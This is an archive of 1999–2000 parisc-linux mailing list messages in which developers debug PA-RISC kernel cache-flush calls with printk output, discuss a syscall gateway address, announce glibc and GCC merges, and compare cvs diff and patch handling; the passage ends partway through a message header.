Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18784 invoked from network); 22 Aug 2000 14:39:19 -0000
Original-Received: from user32-46.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.46)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 14:39:19 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 85B6AB005; Tue, 22 Aug 2000 15:38:03 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7758

I put some printk's in pgalloc.h:

__flush_dcache_range: addr 0xc7e23000, size 4096
__flush_icache_range: addr 0xc7e23000, size 4096
__flush_icache_range: addr 0xc7e23000, size 4096
__flush_dcache_range: addr 0xc7da5000, size 4096
__flush_icache_range: addr 0xc7da5000, size 4096
__flush_dcache_range: addr 0x000bdc8c, size 4096
__flush_icache_range: addr 0x000bdc8c, size 4096
__flush_dcache_range: addr 0x40000000, size 4096
__flush_icache_range: addr 0x40000000, size 4096
__flush_dcache_range: addr 0xc7dc8000, size 4096
__flush_icache_range: addr 0xc7dc8000, size 4096
__flush_dcache_range: addr 0xc7dc8000, size 4096
__flush_icache_range: addr 0xc7dc8000, size 4096
__flush_icache_range: addr 0xc7dc8000, size 4096
__flush_dcache_range: addr 0x00001000, size 770048
__flush_icache_range: addr 0x00001000, size 770048
__flush_dcache_range: addr 0x000bd000, size 24576
__flush_icache_range: addr 0x000bd000, size 24576
__flush_dcache_range: addr 0x000c3000, size 102400
__flush_icache_range: addr 0x000c3000, size 102400
__flush_dcache_range: addr 0x2001f000, size 268308480
__flush_icache_range: addr 0x2001f000, size 268308480
__flush_dcache_range: addr 0x40100000, size 32768
__flush_icache_range: addr 0x40100000, size 32768
__flush_dcache_range: addr 0x40108000, size 1015808
__flush_icache_range: addr 0x40108000, size 1015808
__flush_dcache_range: addr 0x20022fac, size 4096
__flush_icache_range: addr 0x20022fac, size 4096
__flush_dcache_range: addr 0x00003594, size 2
__flush_dcache_range: addr 0xc7f986c8, size 2
> __flush_dcache_range: addr 0x2002300c, size 4096
__flush_icache_range: addr 0x2002300c, size 4096


Those two flushes of 268 Meg each take a while to run.
There also appears to be a mix of virtual and physical addresses being
passed to __flush_[id]cache_range(), which must be wrong.  I believe they
should be passed virtual addresses.

pgtable.h is interesting as well:

/*
 * cache_push() semantics: Write back any dirty cache data in the given area,
 * and invalidate the range in the instruction cache. It needs not (but may)
 * invalidate those entries also in the data cache. The range is defined by a
 * _physical_ address.
 */
#define cache_push(paddr, len) \
                        flush_cache_range(&init_mm, virt_to_phys(paddr), len)
#define cache_push_v(vaddr, len) \
                        flush_cache_range(&init_mm, vaddr, len)


I guess that virt_to_phys() should be a phys_to_virt()....


Richard


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 18:55:47 -0500
Organization: mozilla.org diplomatic corps
Lines: 20
Approved: news@gmane.org
Message-ID: <36FACD03.6446ACF4@netscape.com>
References: <199903252046.OAA08061@helgaaspc.rsn.hp.com> <36FAA595.DB56B012@netscape.com> <36FAC708.362B@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619067 2569 80.91.229.3 (22 Nov 2014 01:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:47 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 25 18:56:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA32558
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 18:56:28 -0500
Original-Received: (qmail 24553 invoked by uid 15267); 25 Mar 1999 23:55:13 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 24536 invoked from network); 25 Mar 1999 23:55:12 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 23:55:12 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id PAA08783
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 15:55:47 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.139]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F96D5600.2FE for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar
          1999 15:55:54 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7759

Bob Pflederer wrote:
> 
> > OK, I'm convinced.  I've changed unistd.h to use 0xC0000404 (on the next
> > page) for the syscall gateway, although we can easily change it back.
> 
> Isn't the next page at 0xc0001000?  Or does linux have some concept of
> 1k "pages" even though pages in the TLB are 4k?

Brain-o.  0xC0001004 it is.

While we're on the topic, though: why 0xC0000004 and not 0xC0000000 as
the target address?  (Although there are other bugs, like ``ldo 5,%r22''
instead of ``ldi 5,%r22'' in the Assembler Ref as well, so maybe this is
another?)

Mike

-- 
92501.80 83731.86


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Tue, 22 Aug 2000 15:52:21 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <20000822155221.W4060@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619067 2571 80.91.229.3 (22 Nov 2014 01:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Aug 22 08:53:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA07908
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 08:53:45 -0600
Original-Received: (qmail 2223 invoked by uid 15267); 22 Aug 2000 14:53:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2212 invoked from network); 22 Aug 2000 14:53:37 -0000
Original-Received: from user32-46.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.46)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 14:53:37 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 627C9B005; Tue, 22 Aug 2000 15:52:21 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000822153803.U4060@linuxcare.com>; from rhirst@linuxcare.com on Tue, Aug 22, 2000 at 03:38:03PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7760

On Tue, Aug 22, 2000 at 03:38:03PM +0100, Richard Hirst wrote:
> I put some printk's in pgalloc.h:
> 
> __flush_dcache_range: addr 0xc7e23000, size 4096
> __flush_icache_range: addr 0xc7e23000, size 4096
> __flush_icache_range: addr 0xc7e23000, size 4096
> __flush_dcache_range: addr 0xc7da5000, size 4096
> __flush_icache_range: addr 0xc7da5000, size 4096
> __flush_dcache_range: addr 0x000bdc8c, size 4096
> __flush_icache_range: addr 0x000bdc8c, size 4096
> __flush_dcache_range: addr 0x40000000, size 4096
> __flush_icache_range: addr 0x40000000, size 4096
> __flush_dcache_range: addr 0xc7dc8000, size 4096
> __flush_icache_range: addr 0xc7dc8000, size 4096
> __flush_dcache_range: addr 0xc7dc8000, size 4096
> __flush_icache_range: addr 0xc7dc8000, size 4096
> __flush_icache_range: addr 0xc7dc8000, size 4096
> __flush_dcache_range: addr 0x00001000, size 770048
> __flush_icache_range: addr 0x00001000, size 770048
> __flush_dcache_range: addr 0x000bd000, size 24576
> __flush_icache_range: addr 0x000bd000, size 24576
> __flush_dcache_range: addr 0x000c3000, size 102400
> __flush_icache_range: addr 0x000c3000, size 102400
> __flush_dcache_range: addr 0x2001f000, size 268308480
> __flush_icache_range: addr 0x2001f000, size 268308480
> __flush_dcache_range: addr 0x40100000, size 32768
> __flush_icache_range: addr 0x40100000, size 32768
> __flush_dcache_range: addr 0x40108000, size 1015808
> __flush_icache_range: addr 0x40108000, size 1015808
> __flush_dcache_range: addr 0x20022fac, size 4096
> __flush_icache_range: addr 0x20022fac, size 4096
> __flush_dcache_range: addr 0x00003594, size 2
> __flush_dcache_range: addr 0xc7f986c8, size 2
> > __flush_dcache_range: addr 0x2002300c, size 4096
> __flush_icache_range: addr 0x2002300c, size 4096
> 
> 
> Those two flushes of 268 Meg each take a while to run.
> There also appears to be a mix of virtual and physical addresses being
> passed to __flush_[id]cache_range(), which must be wrong.  I believe they
> should be passed virtual addresses.
> 
> pgtable.h is interesting as well:
> 
> /*
>  * cache_push() semantics: Write back any dirty cache data in the given area,
>  * and invalidate the range in the instruction cache. It needs not (but may)
>  * invalidate those entries also in the data cache. The range is defined by a
>  * _physical_ address.
>  */
> #define cache_push(paddr, len) \
>                         flush_cache_range(&init_mm, virt_to_phys(paddr), len)
> #define cache_push_v(vaddr, len) \
>                         flush_cache_range(&init_mm, vaddr, len)
> 
> 
> I guess that virt_to_phys() should be a phys_to_virt()....

And also, flush_cache_range() is defined in pgalloc.h as taking start and
end, not start and length.

Richard


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Tue, 22 Aug 2000 16:50:47 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20000822165047.X4060@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619067 2572 80.91.229.3 (22 Nov 2014 01:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Aug 22 09:52:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA08561
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 09:52:12 -0600
Original-Received: (qmail 5461 invoked by uid 15267); 22 Aug 2000 15:52:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5419 invoked from network); 22 Aug 2000 15:52:03 -0000
Original-Received: from user32-46.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.46)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 15:52:03 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AF1EFB005; Tue, 22 Aug 2000 16:50:47 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000822155221.W4060@linuxcare.com>; from rhirst@linuxcare.com on Tue, Aug 22, 2000 at 03:52:21PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7761

On Tue, Aug 22, 2000 at 03:52:21PM +0100, Richard Hirst wrote:
> > __flush_dcache_range: addr 0x00001000, size 770048
> > __flush_icache_range: addr 0x00001000, size 770048
> > __flush_dcache_range: addr 0x000bd000, size 24576
> > __flush_icache_range: addr 0x000bd000, size 24576
> > __flush_dcache_range: addr 0x000c3000, size 102400
> > __flush_icache_range: addr 0x000c3000, size 102400
> > __flush_dcache_range: addr 0x2001f000, size 268308480
> > __flush_icache_range: addr 0x2001f000, size 268308480

Those ones are caused by a call to flush_page_range() being added to
mm/mmap.c:exit_mmap().

We just blindly assume addresses passed to flush_page_range() are
kernel virtual addresses, but in this case I guess they are user
process virtual addresses.  Even so, the last one below looks
like a rather large area to have mmapped.

exit_mmap: calling flush_cache_range(0x00001000, 0x00083000)
exit_mmap: calling flush_cache_range(0x00083000, 0x00085000)
exit_mmap: calling flush_cache_range(0x00085000, 0x00088000)
exit_mmap: calling flush_cache_range(0x2001f000, 0x30000000)

(the exit_mmap debug is from a different kernel build, so don't
try and match the numbers with those quoted above)

Richard


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc merge coming through
Date: 22 Aug 2000 11:52:17 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87r97hwaxa.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619068 2575 80.91.229.3 (22 Nov 2014 01:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Aug 22 09:53:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA08692
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 09:53:15 -0600
Original-Received: (qmail 6664 invoked by uid 15267); 22 Aug 2000 15:53:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6629 invoked from network); 22 Aug 2000 15:53:04 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 15:53:04 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13RGLa-00038m-00
	for <parisc-linux@thepuffingroup.com>; Tue, 22 Aug 2000 11:52:18 -0400
Original-Lines: 13
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7762

Just to let you all know,

Due to some "upstream" bugs in the dynamic linker code in the our
current CVS tree, I've decided to update our tree from the current
mainline CVS from sourceware.cygnus.com.

The old stuff will be tagged with 'before20000822merge'.

Expect this to land in a half hour or so.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: 22 Aug 2000 12:05:06 -0400
Organization: Linuxcare, Inc.
Lines: 41
Approved: news@gmane.org
Message-ID: <87n1i5wabx.fsf@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619068 2576 80.91.229.3 (22 Nov 2014 01:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: dhd@linuxcare.com  Tue Aug 22 10:06:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09049
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 10:06:00 -0600
Original-Received: (qmail 23045 invoked by uid 15267); 22 Aug 2000 16:05:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23033 invoked from network); 22 Aug 2000 16:05:52 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 16:05:52 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13RGXz-0005Ow-00; Tue, 22 Aug 2000 12:05:07 -0400
In-Reply-To: Richard Hirst's message of "Tue, 22 Aug 2000 16:50:47 +0100"
Original-Lines: 40
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7763

Richard Hirst <rhirst@linuxcare.com> writes:

> We just blindly assume addresses passed to flush_page_range() are
> kernel virtual addresses, but in this case I guess they are user
> process virtual addresses.

Right.  I noticed that the FIC/FICE/FDC/FDCE instructions have a space
register field.  I wonder if we should be explicitly specifying %sr3,
since that's what we use (ahem, what we *WOULD* use if <asm/uaccess.h>
were actually implemented) to access user space.

Are PA-RISC caches indexed with the space ID as well as the offset?
Do we need to flush kernel virtual addresses at all?

> exit_mmap: calling flush_cache_range(0x00001000, 0x00083000)

text

> exit_mmap: calling flush_cache_range(0x00083000, 0x00085000)

data and bss

> exit_mmap: calling flush_cache_range(0x00085000, 0x00088000)

heap

> exit_mmap: calling flush_cache_range(0x2001f000, 0x30000000)

stack

>  Even so, the last one below looks like a rather large area to have
> mmapped.

Yes, it's arbitrarily huge, and this is a VM problem that needs to be
fixed.  It should grow upwards as needed via the page fault handler.
Paging John Marvin... (pun intended ;-)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc merge done
Date: 22 Aug 2000 14:07:42 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87hf8dw4nl.fsf@linuxcare.com>
References: <87r97hwaxa.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619068 2581 80.91.229.3 (22 Nov 2014 01:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Aug 22 12:08:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12448
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 12:08:40 -0600
Original-Received: (qmail 12330 invoked by uid 15267); 22 Aug 2000 18:08:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12306 invoked from network); 22 Aug 2000 18:08:30 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 18:08:30 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13RISe-0000MD-00
	for <parisc-linux@thepuffingroup.com>; Tue, 22 Aug 2000 14:07:44 -0400
In-Reply-To: David Huggins-Daines's message of "22 Aug 2000 11:52:17 -0400"
Original-Lines: 13
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7764

David Huggins-Daines <dhd@linuxcare.com> writes:

> Expect this to land in a half hour or so.

It should be done now.  Statically linked stuff appears to still work,
at least, as does building libc.so.

You should probably make clean and reconfigure in order to pick up the
new files.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC merge from sourceware
Date: 22 Aug 2000 17:05:20 -0400
Organization: Linuxcare, Inc.
Lines: 10
Approved: news@gmane.org
Message-ID: <87zom5uhv3.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619069 2842 80.91.229.3 (22 Nov 2014 01:17:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Aug 22 15:06:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA16419
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 15:06:13 -0600
Original-Received: (qmail 23143 invoked by uid 15267); 22 Aug 2000 21:06:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23124 invoked from network); 22 Aug 2000 21:06:05 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 21:06:05 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13RLEW-0000jW-00
	for <parisc-linux@thepuffingroup.com>; Tue, 22 Aug 2000 17:05:20 -0400
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Original-Lines: 10
Xref: news.gmane.org gmane.linux.ports.parisc:7765

Hi,

I've merged today's sourceware CVS tree into our gcc tree.  The
pre-merge stuff is tagged 'before20000822merge'.  It builds a working
kernel for me, but let me know if it breaks any other stuff.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC merge complete
Date: 22 Aug 2000 17:54:51 -0400
Organization: Linuxcare, Inc.
Lines: 9
Approved: news@gmane.org
Message-ID: <87vgwtufkk.fsf@linuxcare.com>
References: <87zom5uhv3.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619069 2845 80.91.229.3 (22 Nov 2014 01:17:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Aug 22 15:55:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA17110
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 15:55:46 -0600
Original-Received: (qmail 13137 invoked by uid 15267); 22 Aug 2000 21:55:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13122 invoked from network); 22 Aug 2000 21:55:38 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Aug 2000 21:55:38 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13RM0R-0000pA-00
	for <parisc-linux@thepuffingroup.com>; Tue, 22 Aug 2000 17:54:51 -0400
In-Reply-To: David Huggins-Daines's message of "22 Aug 2000 17:05:20 -0400"
Original-Lines: 8
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7766

As the subject says.

You will probably need to add --disable-threads to your configure
command if you are building C++ support.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Wed, 23 Aug 2000 10:49:31 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200008230849.KAA01294@pallas.spacetec.no>
References: <alan@linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619069 2848 80.91.229.3 (22 Nov 2014 01:17:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:49 +0000 (UTC)
Cc: parisc@lists.linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Wed Aug 23 02:49:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA28346
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 02:49:43 -0600
Original-Received: (qmail 23761 invoked by uid 15267); 23 Aug 2000 08:49:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23736 invoked from network); 23 Aug 2000 08:49:35 -0000
Original-Received: from firewall.spacetec.no (HELO pallas.spacetec.no) (192.51.5.5)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 08:49:35 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id KAA01294;
	Wed, 23 Aug 2000 10:49:31 +0200
In-Reply-To: Alan Modra <alan@linuxcare.com.au>
       "Re: Incompatibility of PIC and non-PIC" (Aug 20,  5:21)
X-Mailer: Mail User's Shell (7.2.6 beta(4) 03/19/98)
Xref: news.gmane.org gmane.linux.ports.parisc:7767

On Aug 20,  5:21, Alan Modra wrote:
>On Sat, 19 Aug 2000, Matthew Wilcox wrote:
>
>> btw, is there any option to cvs diff which produces files which can be
>> applied by any known version of patch?  in my experience, patch can't
>> find files specified by Index: lines _unless_ both the +++ and the ---
>> files can't be found -- which is rarely the case with common names such
>> as Makefile or ChangeLog.
>
>I haven't found one, and it's a real pain.  I tend to edit patches
>covering multiple directories before passing them to patch.
>
>"sed -e '/^[+-][+-]/d' < cvs_diff_file | patch -p0 --posix" ought to work.
>
>Alan

Which versions of CVS are you using?  CVS used to output diffs without
including the directory path in the --- and +++ lines, but that's been
fixed long ago.  I don't have any problems with patch anymore.

-Tor


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Wed, 23 Aug 2000 19:49:10 +1000 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008231946220.11816-100000@front.linuxcare.com.au>
References: <200008230849.KAA01294@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619070 2852 80.91.229.3 (22 Nov 2014 01:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Tor Arntsen <tor@spacetec.no>
Original-X-From: alan@linuxcare.com.au  Wed Aug 23 03:50:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA28873
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 03:50:01 -0600
Original-Received: (qmail 26633 invoked by uid 15267); 23 Aug 2000 09:49:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26595 invoked from network); 23 Aug 2000 09:49:52 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
